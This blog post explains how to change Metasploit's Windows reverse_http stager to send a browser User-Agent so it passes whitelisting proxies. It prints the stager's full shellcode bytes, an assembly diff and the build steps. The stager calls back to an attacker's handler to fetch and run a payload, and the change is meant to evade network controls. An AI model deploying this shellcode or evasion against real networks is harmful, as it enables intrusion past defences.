If you’ve ever had to change a module in the Metasploit Framework, you know the go to place is the modules/ directory off of the Metasploit Framework’s root folder.

Recently, I had to modify the Metasploit Framework’s reverse_http stager. It currently sends a blank User-Agent. This is a problem because a blank User-Agent will not get through proxy servers that whitelist browsers. It’s a trade-off though. Using a blank User-Agent keeps this stager small and compatible with more exploits.

I opened up modules/payloads/stagers/windows/reverse_http.rb and I was greeted with the following:

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Reverse HTTP Stager',
      'Description'   => 'Tunnel communication over HTTP',
      'Author'        => 'hdm',
      'License'       => MSF_LICENSE,
      'Platform'      => 'win',
      'Arch'          => ARCH_X86,
      'Handler'       => Msf::Handler::ReverseHttp,
      'Convention'    => 'sockedi http',
      'Stager'        =>
        {
          'Offsets' =>
            {
              # Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now)
              # 'EXITFUNC' => [ 290, 'V' ],
              'LPORT'    => [ 190, 'v' ], # Not a typo, really little endian
            },
          'Payload' =>
              "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
              "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
              "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
              "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
              "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
              "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
              "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
              "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
              "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
              "\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07" +
              "\xFF\xD5\x31\xFF\x57\x57\x57\x57\x6A\x00\x54\x68\x3A\x56\x79\xA7" +
              "\xFF\xD5\xEB\x4B\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11" +
              "\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x34\x59\x31\xD2" +
              "\x52\x68\x00\x02\x60\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" +
              "\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x31\xFF\x57\x57\x57\x57\x56\x68" +
              "\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74\x10\xEB\xE9\xEB" +
              "\x49\xE8\xC7\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00\x68\xF0\xB5" +
              "\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00" +
              "\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68\x00" +
              "\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xCD" +
              "\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x65\xFF\xFF\xFF"
        }
      ))
  end

I have a pretty reasonable background in many development situations. I have two rules: I won’t work in a programming environment that requires IDE generated XML to get things done (without a lot of swearing). And, I won’t try to hot-patch a binary blob when it’s in that form.

Fortunately, my pressing need did not require me to break either rule. I was able to stroll to the external/source/shellcode/windows/x86 folder in the Metasploit Framework. This is where the Metasploit Framework stores the source code for its shellcode. Even better, this code is split up such that common pieces are in their own files and files that use them include them directly. All of the code here is also well commented. This is about as clean and maintainable as shellcode gets.

My goal is to change the http stager though. So, I went to the stager_reverse_http.asm file in external/source/shellcode/windows/x86/src/stager first.

  cld                    ; Clear the direction flag.
  call start             ; Call start, this pushes the address of 'api_call' onto the stack.
%include "./src/block/block_api.asm"
start:                   ;
  pop ebp                ; pop off the address of 'api_call' for calling later.
%include "./src/block/block_reverse_http.asm"
  ; By here we will have performed the reverse_tcp connection and EDI will be our socket.

Here, I saw that I would need to look in another file. I then took a look at the block_reverse_http.asm file in external/source/shellcode/windows/x86/src/block/. Bingo. I found my file.

Next, I made my changes. Adding a User-Agent to the HTTP stager isn’t too bad. Here’s my .diff file to do it:

--- external/source/shellcode/windows/x86/src/block/block_reverse_http.asm
+++ external/source/shellcode/windows/x86/src/block/block_reverse_http.asm
@@ -16,14 +16,19 @@ load_wininet:
   push 0x0726774C        ; hash( "kernel32.dll", "LoadLibraryA" )
   call ebp               ; LoadLibraryA( "wininet" )

+  call internetopen      ; jump!
+
+useragent:
+  db "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)", 0x00
+
 internetopen:
+  pop ecx                ; pointer to User-Agent string
   xor edi,edi
   push edi               ; DWORD dwFlags
   push edi               ; LPCTSTR lpszProxyBypass
   push edi               ; LPCTSTR lpszProxyName
   push edi               ; DWORD dwAccessType (PRECONFIG = 0)
-  push byte 0            ; NULL pointer
-  push esp               ; LPCTSTR lpszAgent ("\x00")
+  push ecx               ; LPCTSTR lpszAgent (user agent)
   push 0xA779563A        ; hash( "wininet.dll", "InternetOpenA" )
   call ebp

We’re almost done. We need to assemble the new stager with the changes and update the reverse_http.rb file in the payloads folder. Fortunately, the Metasploit Framework includes a Python(!) script to assemble the final shellcode product. Change to the external/source/shellcode/windows/x86/ folder and run:

python build.py stager_reverse_http

This build script output the assembled stager in a form that I pasted back to the original stager file. It also output the offset for LPORT as LEPort Offset.

I had to update the LPORT Offset in the stager  too. This is specified in the 'LPORT' => [ 190, 'v' ] line in the payload module. I changed the 190 to the LEPort value provided by build.py.

In this post, I took you through how to change the shellcode for a Metasploit Framework stager. I had to change the reverse_http stager to help a custom payload get past the proxy issue I described earlier. Regardless of the example change I used, you now know where source code to the Metasploit Framework’s stagers live, how to change a stager, how to build your changes, and make the framework use those changes.

源链接

Hacking more

...